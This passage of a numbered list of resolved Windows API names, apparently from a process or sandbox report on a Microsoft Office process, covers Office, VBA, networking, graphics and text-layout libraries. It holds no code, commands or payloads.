  2304. "ncrypt.dll.BCryptVerifySignature",
  2305. "ncrypt.dll.BCryptDestroyKey",
  2306. "crypt32.dll.CertVerifyCertificateChainPolicy",
  2307. "crypt32.dll.CertFreeCertificateChain",
  2308. "crypt32.dll.CertDuplicateCertificateContext",
  2309. "ncrypt.dll.SslEncryptPacket",
  2310. "mso.dll.#2739",
  2311. "mso.dll.#3459",
  2312. "mso.dll.#5709",
  2313. "mso.dll.#6333",
  2314. "mso.dll.#420",
  2315. "mso.dll.#408",
  2316. "mso.dll.#2714",
  2317. "mso.dll.#8622",
  2318. "mso.dll.#3380",
  2319. "mso.dll.#4208",
  2320. "mso.dll.#8980",
  2321. "mso.dll.#1006",
  2322. "mso.dll.#8046",
  2323. "mso.dll.#1262",
  2324. "mso.dll.#3043",
  2325. "ncrypt.dll.SslDecryptPacket",
  2326. "winhttp.dll.WinHttpReceiveResponse",
  2327. "winhttp.dll.WinHttpQueryHeaders",
  2328. "winhttp.dll.WinHttpQueryDataAvailable",
  2329. "winhttp.dll.WinHttpReadData",
  2330. "webservices.dll.WsCreateError",
  2331. "ntdll.dll.EtwEventWrite",
  2332. "ntdll.dll.EtwEventRegister",
  2333. "ntdll.dll.EtwEventUnregister",
  2334. "webservices.dll.WsCreateHeap",
  2335. "webservices.dll.WsCreateReader",
  2336. "webservices.dll.WsSetInput",
  2337. "webservices.dll.WsFillReader",
  2338. "webservices.dll.WsReadToStartElement",
  2339. "webservices.dll.WsReadStartElement",
  2340. "webservices.dll.WsReadType",
  2341. "winhttp.dll.WinHttpCloseHandle",
  2342. "crypt32.dll.CertFreeCertificateContext",
  2343. "rpcrt4.dll.RpcBindingFree",
  2344. "webservices.dll.WsFreeReader",
  2345. "webservices.dll.WsFreeError",
  2346. "webservices.dll.WsFreeHeap",
  2347. "webservices.dll.WsCreateServiceProxyFromTemplate",
  2348. "winhttp.dll.WinHttpOpenRequest",
  2349. "winhttp.dll.WinHttpAddRequestHeaders",
  2350. "winhttp.dll.WinHttpSendRequest",
  2351. "winhttp.dll.WinHttpConnect",
  2352. "winhttp.dll.WinHttpCrackUrl",
  2353. "winhttp.dll.WinHttpSetStatusCallback",
  2354. "winhttp.dll.WinHttpOpen",
  2355. "winhttp.dll.WinHttpSetOption",
  2356. "winhttp.dll.WinHttpWriteData",
  2357. "winhttp.dll.WinHttpSetCredentials",
  2358. "winhttp.dll.WinHttpQueryAuthSchemes",
  2359. "winhttp.dll.WinHttpGetIEProxyConfigForCurrentUser",
  2360. "winhttp.dll.WinHttpGetProxyForUrl",
  2361. "winhttp.dll.WinHttpQueryOption",
  2362. "webservices.dll.WsOpenServiceProxy",
  2363. "webservices.dll.WsCall",
  2364. "webservices.dll.WsAddCustomHeader",
  2365. "shlwapi.dll.StrStrA",
  2366. "shlwapi.dll.UrlUnescapeA",
  2367. "mso.dll.#8931",
  2368. "shell32.dll.SHGetFileInfoW",
  2369. "mso.dll.#5362",
  2370. "mso.dll.#6044",
  2371. "mso.dll.#6516",
  2372. "mso.dll.#6221",
  2373. "mso.dll.#5780",
  2374. "mso.dll.#4870",
  2375. "mso.dll.#6046",
  2376. "mso.dll.#1241",
  2377. "mso.dll.#2821",
  2378. "mso.dll.#2340",
  2379. "mso.dll.#7287",
  2380. "mso.dll.#5290",
  2381. "mso.dll.#1508",
  2382. "user32.dll.IsZoomed",
  2383. "user32.dll.GetWindowPlacement",
  2384. "user32.dll.GetWindowRect",
  2385. "mso.dll.#821",
  2386. "user32.dll.GetSystemMetrics",
  2387. "user32.dll.MonitorFromWindow",
  2388. "user32.dll.MonitorFromRect",
  2389. "user32.dll.MonitorFromPoint",
  2390. "user32.dll.EnumDisplayMonitors",
  2391. "user32.dll.GetMonitorInfoA",
  2392. "user32.dll.EnumDisplayDevicesA",
  2393. "mso.dll.#2378",
  2394. "user32.dll.SetWindowPos",
  2395. "user32.dll.AdjustWindowRect",
  2396. "mso.dll.#5912",
  2397. "mso.dll.#9719",
  2398. "mso.dll.#8824",
  2399. "mso.dll.#6117",
  2400. "mso.dll.#3307",
  2401. "user32.dll.SendMessageW",
  2402. "user32.dll.DestroyIcon",
  2403. "mso.dll.#3813",
  2404. "mso.dll.#1815",
  2405. "user32.dll.PtInRect",
  2406. "mso.dll.#1613",
  2407. "user32.dll.SetWindowTextW",
  2408. "user32.dll.GetClassLongW",
  2409. "mso.dll.#8572",
  2410. "gdi32.dll.CreateDIBSection",
  2411. "gdi32.dll.CreateCompatibleDC",
  2412. "gdi32.dll.GetViewportOrgEx",
  2413. "gdi32.dll.SetViewportOrgEx",
  2414. "gdi32.dll.SetBkColor",
  2415. "gdi32.dll.ExtTextOutA",
  2416. "mso.dll.#1573",
  2417. "mso.dll.#8612",
  2418. "user32.dll.SetScrollRange",
  2419. "mso.dll.#2509",
  2420. "user32.dll.BeginDeferWindowPos",
  2421. "user32.dll.DeferWindowPos",
  2422. "user32.dll.EndDeferWindowPos",
  2423. "gdi32.dll.DeleteDC",
  2424. "user32.dll.OffsetRect",
  2425. "user32.dll.EnumChildWindows",
  2426. "user32.dll.GetScrollInfo",
  2427. "user32.dll.MapWindowPoints",
  2428. "msptls.dll.?FsCreatePageFinite@Ptls6@@YGJPAUfscontext@1@PBUfsbreakrecpage@1@PAUfsnameclient@1@PAU_fsfmtr@1@PAPAUfspage@1@PAPAU31@@Z",
  2429. "msptls.dll.?FsTransformRectangle@Ptls6@@YGJKPBUtagFSRECT@1@0KPAU21@@Z",
  2430. "mso.dll.#6126",
  2431. "msptls.dll.?LsCreateLine@Ptls6@@YGJPAUlscontext@1@PAUlsparaclient@1@PBUlspap@1@JPBUlslinerestr@1@PBUlsbreakrecline@1@PAPAU61@PAUlslinfo@1@PAPAVCLsLine@1@@Z",
  2432. "gdi32.dll.GetFontRealizationInfo",
  2433. "gdi32.dll.GetFontFileInfo",
  2434. "gdi32.dll.GetFontFileData",
  2435. "mso.dll.#7261",
  2436. "mso.dll.#9540",
  2437. "usp10.dll.ScriptGetFontScriptTags",
  2438. "usp10.dll.ScriptGetFontLanguageTags",
  2439. "usp10.dll.ScriptGetFontFeatureTags",
  2440. "msptls.dll.?LsGetObjectName@Ptls6@@YG?AVLSNAMEEXP@1@PBVCLsDnode@1@@Z",
  2441. "msptls.dll.?LsdnFinishWordRegular@Ptls6@@YGJPAVCLsDnode@1@JPAUlsrun@1@PBUlschp@1@PAVCLsObject@1@PBUOBJDIM@1@HHH@Z",
  2442. "msptls.dll.?LsdnSetRigidDup@Ptls6@@YGJPAVCLsDnode@1@J@Z",
  2443. "msptls.dll.?LsQueryLineVisibilityWord@Ptls6@@YGJPAVCLsLine@1@PAJPAH@Z",
  2444. "msptls.dll.?LsQueryLineMaxDepth@Ptls6@@YGJPAVCLsLine@1@PAJ@Z",
  2445. "msptls.dll.?LsEnumLine@Ptls6@@YGJPAVCLsLine@1@HHPBUtagLSPOINT@1@@Z",
  2446. "msptls.dll.?LsModifyLineHeight@Ptls6@@YGJPAUlscontext@1@PAVCLsLine@1@JJJJ@Z",
  2447. "msptls.dll.?FsQueryPageDetails@Ptls6@@YGJPAUfscontext@1@PBUfspage@1@PAUfspagedetails@1@@Z",
  2448. "msptls.dll.?FsQueryPageSectionList@Ptls6@@YGJPAUfscontext@1@PBUfspage@1@JPAUfssectiondescription@1@PAJ@Z",
  2449. "msptls.dll.?FsQuerySectionDetails@Ptls6@@YGJPAUfscontext@1@PBUfssection@1@PAUfssectiondetails@1@@Z",
  2450. "msptls.dll.?FsQuerySectionCompositeColumnList@Ptls6@@YGJPAUfscontext@1@PBUfssection@1@JPAUfscompositecolumndescription@1@PAJ@Z",
  2451. "msptls.dll.?FsQueryCompositeColumnDetails@Ptls6@@YGJPAUfscontext@1@PBUfscompositecolumn@1@PAUfscompositecolumndetails@1@@Z",
  2452. "msptls.dll.?FsQueryTrackDetails@Ptls6@@YGJPAUfscontext@1@PBUfstrack@1@PAUfstrackdetails@1@@Z",
  2453. "msptls.dll.?FsQueryTrackParaList@Ptls6@@YGJPAUfscontext@1@PBUfstrack@1@JPAUfsparadescription@1@PAJ@Z",
  2454. "msptls.dll.?FsQueryTextDetails@Ptls6@@YGJPAUfscontext@1@PBUfspara@1@PAUfstextdetails@1@@Z",
  2455. "msptls.dll.?FsQueryLineListComposite@Ptls6@@YGJPAUfscontext@1@PBUfspara@1@JPAUfslinedescriptioncomposite@1@PAJ@Z",
  2456. "msptls.dll.?FsQueryLineCompositeElementList@Ptls6@@YGJPAUfscontext@1@PBUfsline@1@JPAUfslineelement@1@PAJ@Z",
  2457. "msptls.dll.?LsDestroyLine@Ptls6@@YGJPAUlscontext@1@PAVCLsLine@1@@Z",
  2458. "mso.dll.#2566",
  2459. "mso.dll.#1429",
  2460. "mso.dll.#6502",
  2461. "uiautomationcore.dll.UiaClientsAreListening",
  2462. "msptls.dll.?FsDestroyPage@Ptls6@@YGJPAUfscontext@1@PAUfspage@1@@Z",
  2463. "msptls.dll.?FsDestroyContext@Ptls6@@YGJPAUfscontext@1@@Z",
  2464. "user32.dll.SetRectEmpty",
  2465. "user32.dll.IntersectRect",
  2466. "user32.dll.InflateRect",
  2467. "mso.dll.#1100",
  2468. "mso.dll.#7047",
  2469. "msptls.dll.?LsQueryLineDup@Ptls6@@YGJPAVCLsLine@1@PAUlslinearea@1@@Z",
  2470. "user32.dll.GetCursor",
  2471. "user32.dll.GetClientRect",
  2472. "user32.dll.SetScrollInfo",
  2473. "user32.dll.IsWindowEnabled",
  2474. "user32.dll.SetScrollPos",
  2475. "mso.dll.#3747",
  2476. "mso.dll.#8218",
  2477. "mso.dll.#5394",
  2478. "mso.dll.#331",
  2479. "mso.dll.#6829",
  2480. "mso.dll.#539",
  2481. "mso.dll.#4959",
  2482. "mso.dll.#6463",
  2483. "mso.dll.#4987",
  2484. "user32.dll.GetWindow",
  2485. "mso.dll.#7195",
  2486. "mso.dll.#7573",
  2487. "mso.dll.#445",
  2488. "user32.dll.GetCaretBlinkTime",
  2489. "user32.dll.CreateCaret",
  2490. "msptls.dll.?LsQueryLineCpPpoint@Ptls6@@YGJPAVCLsLine@1@JJPAUlsqsubinfo@1@PAJPAUlstextcell@1@@Z",
  2491. "user32.dll.DestroyCaret",
  2492. "user32.dll.GetCaretPos",
  2493. "user32.dll.SetCaretPos",
  2494. "mso.dll.#5932",
  2495. "mso.dll.#2071",
  2496. "mso.dll.#1024",
  2497. "mso.dll.#6245",
  2498. "mso.dll.#9041",
  2499. "mso.dll.#1767",
  2500. "mso.dll.#9369",
  2501. "mso.dll.#4617",
  2502. "user32.dll.FillRect",
  2503. "mso.dll.#343",
  2504. "mso.dll.#9636",
  2505. "mso.dll.#2022",
  2506. "mso.dll.#4750",
  2507. "mso.dll.#4577",
  2508. "mso.dll.#850",
  2509. "mso.dll.#1776",
  2510. "mso.dll.#9026",
  2511. "mso.dll.#4497",
  2512. "mso.dll.#4647",
  2513. "mso.dll.#8926",
  2514. "mso.dll.#7212",
  2515. "mso.dll.#5407",
  2516. "mso.dll.#5152",
  2517. "mso.dll.#3327",
  2518. "shell32.dll.SHAddToRecentDocs",
  2519. "ole32.dll.PropVariantClear",
  2520. "oleaut32.dll.#9",
  2521. "mso.dll.#1335",
  2522. "mso.dll.#2041",
  2523. "mso.dll.#7834",
  2524. "mso.dll.#239",
  2525. "mso.dll.#6357",
  2526. "mso.dll.#7026",
  2527. "mso.dll.#1671",
  2528. "oleaut32.dll.#7",
  2529. "mso.dll.#8263",
  2530. "mso.dll.#9307",
  2531. "mso.dll.#1441",
  2532. "mso.dll.#9223",
  2533. "mso.dll.#6453",
  2534. "mso.dll.#8044",
  2535. "mso.dll.#3698",
  2536. "mso.dll.#8565",
  2537. "mso.dll.#8373",
  2538. "mso.dll.#9741",
  2539. "mso.dll.#478",
  2540. "mso.dll.#479",
  2541. "mso.dll.#340",
  2542. "bcrypt.dll.BCryptOpenAlgorithmProvider",
  2543. "bcrypt.dll.BCryptGetProperty",
  2544. "bcrypt.dll.BCryptCreateHash",
  2545. "bcrypt.dll.BCryptHashData",
  2546. "bcrypt.dll.BCryptFinishHash",
  2547. "bcrypt.dll.BCryptDestroyHash",
  2548. "bcrypt.dll.BCryptCloseAlgorithmProvider",
  2549. "mso.dll.#8633",
  2550. "mso.dll.#5213",
  2551. "mso.dll.#6163",
  2552. "mso.dll.#552",
  2553. "mso.dll.#5630",
  2554. "mso.dll.#2513",
  2555. "mso.dll.#1607",
  2556. "mso.dll.#1638",
  2557. "mso.dll.#1725",
  2558. "user32.dll.RegisterWindowMessageW",
  2559. "advapi32.dll.RegQueryValueW",
  2560. "apphelp.dll.ApphelpCheckShellObject",
  2561. "ole32.dll.CoRevokeInitializeSpy",
  2562. "comctl32.dll.#388",
  2563. "mso.dll.#4314",
  2564. "sxs.dll.SxsOleAut32MapReferenceClsidToConfiguredClsid",
  2565. "mso.dll.#6484",
  2566. "sxs.dll.SxsOleAut32RedirectTypeLibrary",
  2567. "advapi32.dll.RegOpenKeyW",
  2568. "mso.dll.#2183",
  2569. "mso.dll.#2161",
  2570. "vbe7.dll.DllVbeInit",
  2571. "msi.dll.MsiProvideQualifiedComponentA",
  2572. "msi.dll.MsiGetProductCodeA",
  2573. "msi.dll.MsiReinstallFeatureA",
  2574. "msi.dll.MsiProvideComponentA",
  2575. "kernel32.dll.HeapSetInformation",
  2576. "advapi32.dll.EventWrite",
  2577. "advapi32.dll.EventRegister",
  2578. "advapi32.dll.EventUnregister",
  2579. "kernel32.dll.InitializeCriticalSectionAndSpinCount",
  2580. "vbeui.dll._MsoVBADigSigCallDlg@20",
  2581. "vbeui.dll._MsoVbaInitSecurity@4",
  2582. "vbeui.dll._MsoFIEPolicyAndVersion@8",
  2583. "vbeui.dll._MsoFAnsiCodePageSupportsLCID@8",
  2584. "vbeui.dll._MsoFInitOffice@20",
  2585. "vbeui.dll._MsoUninitOffice@4",
  2586. "vbeui.dll._MsoFGetFontSettings@20",
  2587. "vbeui.dll._MsoRgchToRgwch@16",
  2588. "vbeui.dll._MsoHrSimpleQueryInterface@16",
  2589. "vbeui.dll._MsoHrSimpleQueryInterface2@20",
  2590. "vbeui.dll._MsoFCreateControl@36",
  2591. "vbeui.dll._MsoFLongLoad@8",
  2592. "vbeui.dll._MsoFLongSave@8",
  2593. "vbeui.dll._MsoFGetTooltips@0",
  2594. "vbeui.dll._MsoFSetTooltips@4",
  2595. "vbeui.dll._MsoFLoadToolbarSet@24",
  2596. "vbeui.dll._MsoFCreateToolbarSet@28",
  2597. "vbeui.dll._MsoHpalOffice@0",
  2598. "vbeui.dll._MsoFWndProcNeeded@4",
  2599. "vbeui.dll._MsoFWndProc@24",
  2600. "vbeui.dll._MsoFCreateITFCHwnd@20",
  2601. "vbeui.dll._MsoDestroyITFC@4",
  2602. "vbeui.dll._MsoFPitbsFromHwndAndMsg@12",
  2603. "vbeui.dll._MsoFGetComponentManager@4",
  2604. "vbeui.dll._MsoMultiByteToWideChar@24",
  2605. "vbeui.dll._MsoWideCharToMultiByte@32",
  2606. "vbeui.dll._MsoHrRegisterAll@0",
  2607. "vbeui.dll._MsoFSetComponentManager@4",
  2608. "vbeui.dll._MsoFCreateStdComponentManager@20",
  2609. "vbeui.dll._MsoFHandledMessageNeeded@4",
  2610. "vbeui.dll._MsoPeekMessage@8",
  2611. "vbeui.dll._MsoFCreateIPref@28",
  2612. "vbeui.dll._MsoDestroyIPref@4",
  2613. "vbeui.dll._MsoChsFromLid@4",
  2614. "vbeui.dll._MsoCpgFromChs@4",
  2615. "vbeui.dll._MsoSetLocale@4",
  2616. "vbeui.dll._MsoFSetHMsoinstOfSdm@4",
  2617. "vbeui.dll._MsoSetVbaInterfaces@8",
  2618. "vbeui.dll._MsoGetControlInstanceId@8",
  2619. "oleaut32.dll.SysFreeString",
  2620. "oleaut32.dll.LoadTypeLib",
  2621. "oleaut32.dll.RegisterTypeLib",
  2622. "oleaut32.dll.QueryPathOfRegTypeLib",
  2623. "oleaut32.dll.UnRegisterTypeLib",
  2624. "oleaut32.dll.OleTranslateColor",
  2625. "oleaut32.dll.OleCreateFontIndirect",
  2626. "oleaut32.dll.OleCreatePictureIndirect",
  2627. "oleaut32.dll.OleLoadPicture",
  2628. "oleaut32.dll.OleCreatePropertyFrameIndirect",
  2629. "oleaut32.dll.OleCreatePropertyFrame",
  2630. "oleaut32.dll.OleIconToCursor",
  2631. "oleaut32.dll.LoadTypeLibEx",
  2632. "oleaut32.dll.OleLoadPictureEx",
  2633. "oleaut32.dll.DispCallFunc",
  2634. "oleaut32.dll.CreateTypeLib2",
  2635. "oleaut32.dll.VarDateFromUdate",
  2636. "oleaut32.dll.VarUdateFromDate",
  2637. "oleaut32.dll.GetAltMonthNames",
  2638. "oleaut32.dll.VarNumFromParseNum",
  2639. "oleaut32.dll.VarParseNumFromStr",
  2640. "oleaut32.dll.VarDecFromR4",
  2641. "oleaut32.dll.VarDecFromR8",
  2642. "oleaut32.dll.VarDecFromDate",
  2643. "oleaut32.dll.VarDecFromI4",
  2644. "oleaut32.dll.VarDecFromCy",
  2645. "oleaut32.dll.VarR4FromDec",
  2646. "oleaut32.dll.GetRecordInfoFromTypeInfo",
  2647. "oleaut32.dll.GetRecordInfoFromGuids",
  2648. "oleaut32.dll.SafeArrayGetRecordInfo",
  2649. "oleaut32.dll.SafeArraySetRecordInfo",
  2650. "oleaut32.dll.SafeArrayGetIID",
  2651. "oleaut32.dll.SafeArraySetIID",
  2652. "oleaut32.dll.SafeArrayCopyData",
  2653. "oleaut32.dll.SafeArrayAllocDescriptorEx",
  2654. "oleaut32.dll.SafeArrayCreateEx",
  2655. "oleaut32.dll.VarFormat",
  2656. "oleaut32.dll.VarFormatDateTime",
  2657. "oleaut32.dll.VarFormatNumber",
  2658. "oleaut32.dll.VarFormatPercent",
  2659. "oleaut32.dll.VarFormatCurrency",
  2660. "oleaut32.dll.VarWeekdayName",
  2661. "oleaut32.dll.VarMonthName",
  2662. "oleaut32.dll.VarAdd",
  2663. "oleaut32.dll.VarAnd",
  2664. "oleaut32.dll.VarCat",
  2665. "oleaut32.dll.VarDiv",
  2666. "oleaut32.dll.VarEqv",
  2667. "oleaut32.dll.VarIdiv",
  2668. "oleaut32.dll.VarImp",
  2669. "oleaut32.dll.VarMod",
  2670. "oleaut32.dll.VarMul",
  2671. "oleaut32.dll.VarOr",
  2672. "oleaut32.dll.VarPow",
  2673. "oleaut32.dll.VarSub",
  2674. "oleaut32.dll.VarXor",
  2675. "oleaut32.dll.VarAbs",
  2676. "oleaut32.dll.VarFix",
  2677. "oleaut32.dll.VarInt",
  2678. "oleaut32.dll.VarNeg",
  2679. "oleaut32.dll.VarNot",
  2680. "oleaut32.dll.VarRound",
  2681. "oleaut32.dll.VarCmp",
  2682. "oleaut32.dll.VarDecAdd",
  2683. "oleaut32.dll.VarDecCmp",
  2684. "oleaut32.dll.VarBstrCat",
  2685. "oleaut32.dll.VarCyMulI4",
  2686. "oleaut32.dll.VarBstrCmp",
  2687. "ole32.dll.CoCreateInstanceEx",
  2688. "ole32.dll.CLSIDFromProgIDEx",
  2689. "mso.dll.#5772",
  2690. "mso.dll.#9885",
  2691. "mso.dll.#4262",
  2692. "mso.dll.#8499",
  2693. "ole32.dll.CoTaskMemFree",
  2694. "mso.dll.#5512",
  2695. "advapi32.dll.RegEnumKeyW",
  2696. "sxs.dll.SxsOleAut32MapConfiguredClsidToReferenceClsid",
  2697. "mso.dll.#4909",
  2698. "ole32.dll.CoTaskMemAlloc",
  2699. "ole32.dll.CoInitializeEx",
  2700. "ole32.dll.CoUninitialize",
  2701. "cryptnet.dll.CertDllVerifyRevocation",
  2702. "profapi.dll.#104",
  2703. "sensapi.dll.IsNetworkAlive",
  2704. "rpcrt4.dll.RpcBindingFromStringBindingW",
  2705. "rpcrt4.dll.RpcBindingSetAuthInfoExW",
  2706. "rpcrt4.dll.NdrClientCall2",
  2707. "winhttp.dll.WinHttpSetTimeouts",
  2708. "winhttp.dll.WinHttpGetDefaultProxyConfiguration",
  2709. "mso.dll.#615",
  2710. "user32.dll.IsWindow",
  2711. "user32.dll.RedrawWindow",
  2712. "mso.dll.#8200",
  2713. "mso.dll.#382",
  2714. "mso.dll.#2025",
  2715. "mso.dll.#1256",
  2716. "vbe7.dll.#601",
  2717. "vbe7.dll.#645",
  2718. "vbe7.dll.#595",
  2719. "vbe7.dll.#520",
  2720. "vbe7.dll.#581",
  2721. "vbe7.dll.#613",
  2722. "vbe7.dll.#619",
  2723. "vbe7.dll.#596",
  2724. "vbe7.dll.#522",
  2725. "vbe7.dll.#576",
  2726. "vbe7.dll.#717",
  2727. "vbe7.dll.#617",
  2728. "vbe7.dll.#716",
  2729. "vbe7.dll.#666",
  2730. "urlmon.dll.URLDownloadToFileA",
  2731. "rasapi32.dll.RasConnectionNotificationW",
  2732. "sechost.dll.NotifyServiceStatusChangeA",
  2733. "urlmon.dll.CoInternetCreateSecurityManager",
  2734. "urlmon.dll.CoInternetCreateZoneManager",
  2735. "urlmon.dll.CoInternetIsFeatureEnabledForUrl",
  2736. "advapi32.dll.RegDeleteTreeW",
  2737. "xmllite.dll.CreateXmlReader",
  2738. "shlwapi.dll.StrStrIW",
  2739. "winhttp.dll.WinHttpTimeFromSystemTime",
  2740. "crypt32.dll.CertDuplicateStore",
  2741. "crypt32.dll.CertControlStore",
  2742. "crypt32.dll.CertCloseStore",
  2743. "cryptnet.dll.I_CryptNetGetConnectivity",
  2744. "cryptnet.dll.CryptRetrieveObjectByUrlW",
  2745. "setupapi.dll.SetupIterateCabinetW",
  2746. "kernel32.dll.RegOpenKeyExW",
  2747. "kernel32.dll.RegCloseKey",
  2748. "cabinet.dll.#20",
  2749. "cabinet.dll.#22",
  2750. "devrtl.dll.DevRtlGetThreadLogToken",
  2751. "cryptsp.dll.CryptSetHashParam",
  2752. "sechost.dll.QueryServiceConfigA",
  2753. "sechost.dll.QueryServiceStatus",
  2754. "rpcrt4.dll.RpcStringBindingComposeA",
  2755. "rpcrt4.dll.RpcBindingFromStringBindingA",
  2756. "rpcrt4.dll.RpcEpResolveBinding",
  2757. "sechost.dll.LookupAccountSidLocalW",
  2758. "rpcrt4.dll.RpcStringFreeA",
  2759. "wintrust.dll.HTTPSCertificateTrust",
  2760. "wintrust.dll.HTTPSFinalProv",
  2761. "wintrust.dll.SoftpubInitialize",
  2762. "wintrust.dll.SoftpubLoadMessage",
  2763. "wintrust.dll.SoftpubLoadSignature",
  2764. "wintrust.dll.SoftpubCheckCert",
  2765. "wintrust.dll.SoftpubCleanup",
  2766. "webservices.dll.WsResetHeap",
  2767. "webservices.dll.WsCloseServiceProxy",
  2768. "ws2_32.dll.#3",
  2769. "ncrypt.dll.SslDecrementProviderReferenceCount",
  2770. "webservices.dll.WsFreeServiceProxy",
  2771. "ncrypt.dll.SslFreeObject",
  2772. "user32.dll.RegisterPowerSettingNotification",
  2773. "powrprof.dll.PowerSettingRegisterNotification",
  2774. "user32.dll.GetWindowThreadProcessId",
  2775. "user32.dll.GetWindowTextW",
  2776. "crypt32.dll.CertDuplicateCertificateChain",
  2777. "crypt32.dll.CertGetCertificateContextProperty",
  2778. "cryptsp.dll.CryptReleaseContext",
  2779. "oleaut32.dll.#162",
  2780. "oleaut32.dll.#201",
  2781. "mso.dll.#791",
  2782. "mso.dll.#1848",
  2783. "mso.dll.#8735",
  2784. "mso.dll.#9374",
  2785. "ole32.dll.CoGetCallState",
  2786. "ole32.dll.CoGetActivationState",
  2787. "advapi32.dll.RegisterWaitChainCOMCallback",
  2788. "mso.dll.#5286",
  2789. "mso.dll.#6368",
  2790. "mso.dll.#1010",
  2791. "mso.dll.#7979",
  2792. "mso.dll.#8549",
  2793. "mso.dll.#2863",
  2794. "mso.dll.#8970",
  2795. "mso.dll.#9198",
  2796. "mso.dll.#4795",
  2797. "mso.dll.#1865",
  2798. "mso.dll.#9688",
  2799. "mso.dll.#320",
  2800. "advapi32.dll.RegDeleteKeyA",
  2801. "user32.dll.DestroyCursor",
  2802. "mso.dll.#7173",
  2803. "mso.dll.#8511",
  2804. "mso.dll.#3299",
  2805. "mso.dll.#7001",
  2806. "mso.dll.#8140",
  2807. "mso.dll.#3913",
  2808. "user32.dll.PeekMessageA",
  2809. "mso.dll.#1380",
  2810. "mso.dll.#9500",
  2811. "user32.dll.TranslateMessage",
  2812. "user32.dll.IsWindowUnicode",
  2813. "user32.dll.DispatchMessageA",
  2814. "user32.dll.DispatchMessageW",
  2815. "user32.dll.UpdateWindow",
  2816. "mso.dll.#999",
  2817. "mso.dll.#287",
  2818. "dwmapi.dll.DwmIsCompositionEnabled",
  2819. "mso.dll.#1575",
  2820. "mso.dll.#5034",
  2821. "mso.dll.#1517",
  2822. "mso.dll.#718",
  2823. "mso.dll.#4708",
  2824. "mso.dll.#4175",
  2825. "mso.dll.#8672",
  2826. "mso.dll.#1990",
  2827. "mso.dll.#3051",
  2828. "mso.dll.#1819",
  2829. "mso.dll.#1419",
  2830. "oleaut32.dll.#147",
  2831. "kernel32.dll.WerRegisterMemoryBlock",
  2832. "dwrite.dll.DWriteCreateFactory",
  2833. "gdi32.dll.GetCurrentObject",
  2834. "gdi32.dll.BitBlt",
  2835. "gdi32.dll.GetClipBox",
  2836. "gdi32.dll.StretchDIBits",
  2837. "riched20.dll.REExtendedRegisterClass",
  2838. "user32.dll.GetWindowLongW",
  2839. "user32.dll.GetSysColor",
  2840. "user32.dll.SetWindowLongW",
  2841. "user32.dll.RegisterWindowMessageA",
  2842. "user32.dll.RegisterClipboardFormatW",
  2843. "user32.dll.GetDoubleClickTime",
  2844. "user32.dll.SetCaretBlinkTime",
  2845. "user32.dll.SystemParametersInfoW",
  2846. "user32.dll.GetKeyboardLayoutList",
  2847. "mso.dll._MsoGetFidUspDll@0",
  2848. "mso.dll._MsoLoadLocalizedLibraryEx@12",
  2849. "usp10.dll.ScriptGetProperties",
  2850. "usp10.dll.ScriptItemize",
  2851. "user32.dll.LoadCursorW",
  2852. "user32.dll.IsWindowVisible",
  2853. "user32.dll.GetKeyboardLayout",
  2854. "user32.dll.PostMessageW",
  2855. "user32.dll.DefWindowProcW",
  2856. "uxtheme.dll.IsThemeActive",
  2857. "uxtheme.dll.IsAppThemed",
  2858. "uxtheme.dll.OpenThemeData",
  2859. "user32.dll.GetDC",
  2860. "user32.dll.ReleaseDC",
  2861. "user32.dll.IsIconic",
  2862. "user32.dll.GetParent",
  2863. "usp10.dll.ScriptGetCMap",
  2864. "user32.dll.InvalidateRect",
  2865. "user32.dll.HideCaret",
  2866. "user32.dll.ShowCaret",
  2867. "user32.dll.NotifyWinEvent",
  2868. "user32.dll.GetWindowTextLengthW",
  2869. "user32.dll.EnableWindow",
  2870. "msctf.dll.SetInputScope",
  2871. "user32.dll.GetWindowRgn",
  2872. "gdi32.dll.CreateCompatibleBitmap",
  2873. "gdi32.dll.SaveDC",
  2874. "gdi32.dll.SetPixel",
  2875. "gdi32.dll.GetPixel",
  2876. "gdi32.dll.RestoreDC",
  2877. "imm32.dll.ImmAssociateContext",
  2878. "mso.dll.#806",
  2879. "mso.dll.#4908",
  2880. "user32.dll.SetRect",
  2881. "mso.dll.#8439",
  2882. "mso.dll.#2736",
  2883. "gdi32.dll.GetTextAlign",
  2884. "gdi32.dll.ExtTextOutW",
  2885. "mso.dll.#8122",
  2886. "mso.dll.#2114",
  2887. "mso.dll.#6558",
  2888. "gdi32.dll.GetFontData",
  2889. "usp10.dll.ScriptItemizeOpenType",
  2890. "usp10.dll.ScriptShapeOpenType",
  2891. "usp10.dll.ScriptPlaceOpenType",
  2892. "mso.dll.#8395",
  2893. "mso.dll.#379",
  2894. "mso.dll.#6338",
  2895. "mso.dll.#7964",
  2896. "mso.dll.#1437",
  2897. "mso.dll.#1427",
  2898. "mso.dll.#6137",
  2899. "winmm.dll.timeGetTime",
  2900. "mso.dll.#5940",
  2901. "usp10.dll.ScriptPlace",
  2902. "usp10.dll.ScriptShape",
  2903. "usp10.dll.ScriptJustify",
  2904. "usp10.dll.ScriptTextOut",
  2905. "usp10.dll.ScriptCPtoX",
  2906. "usp10.dll.ScriptXtoCP",
  2907. "usp10.dll.ScriptFreeCache",
  2908. "usp10.dll.ScriptCacheGetHeight",
  2909. "usp10.dll.ScriptLayout",
  2910. "usp10.dll.ScriptBreak",
  2911. "usp10.dll.ScriptIsComplex",
  2912. "usp10.dll.ScriptGetLogicalWidths",
  2913. "usp10.dll.ScriptApplyLogicalWidth",
  2914. "usp10.dll.ScriptGetGlyphABCWidth",
  2915. "usp10.dll.ScriptGetFontProperties",
  2916. "usp10.dll.ScriptApplyDigitSubstitution",
  2917. "usp10.dll.ScriptRecordDigitSubstitution",
  2918. "usp10.dll.ScriptGetFontAlternateGlyphs",
  2919. "mso.dll.#7578",
  2920. "mso.dll.#8483",
  2921. "mso.dll.#2613",
  2922. "gdi32.dll.GdiIsMetaPrintDC",
  2923. "mso.dll.#7848",
  2924. "user32.dll.GetForegroundWindow",
  2925. "user32.dll.GetFocus",
  2926. "user32.dll.GetClassNameA",
  2927. "user32.dll.IsWindowRedirectedForPrint",
  2928. "gdi32.dll.CreateRectRgnIndirect",
  2929. "user32.dll.GetUpdateRgn",
  2930. "gdi32.dll.GetRgnBox",
  2931. "user32.dll.ValidateRect",
  2932. "user32.dll.GetUpdateRect",
  2933. "user32.dll.BeginPaint",
  2934. "user32.dll.EndPaint",
  2935. "mso.dll.#3624",
  2936. "msptls.dll.?LsPointXYFromPointUV@Ptls6@@YGJPBUtagLSPOINT@1@KPBUtagLSPOINTUV@1@PAU21@@Z",
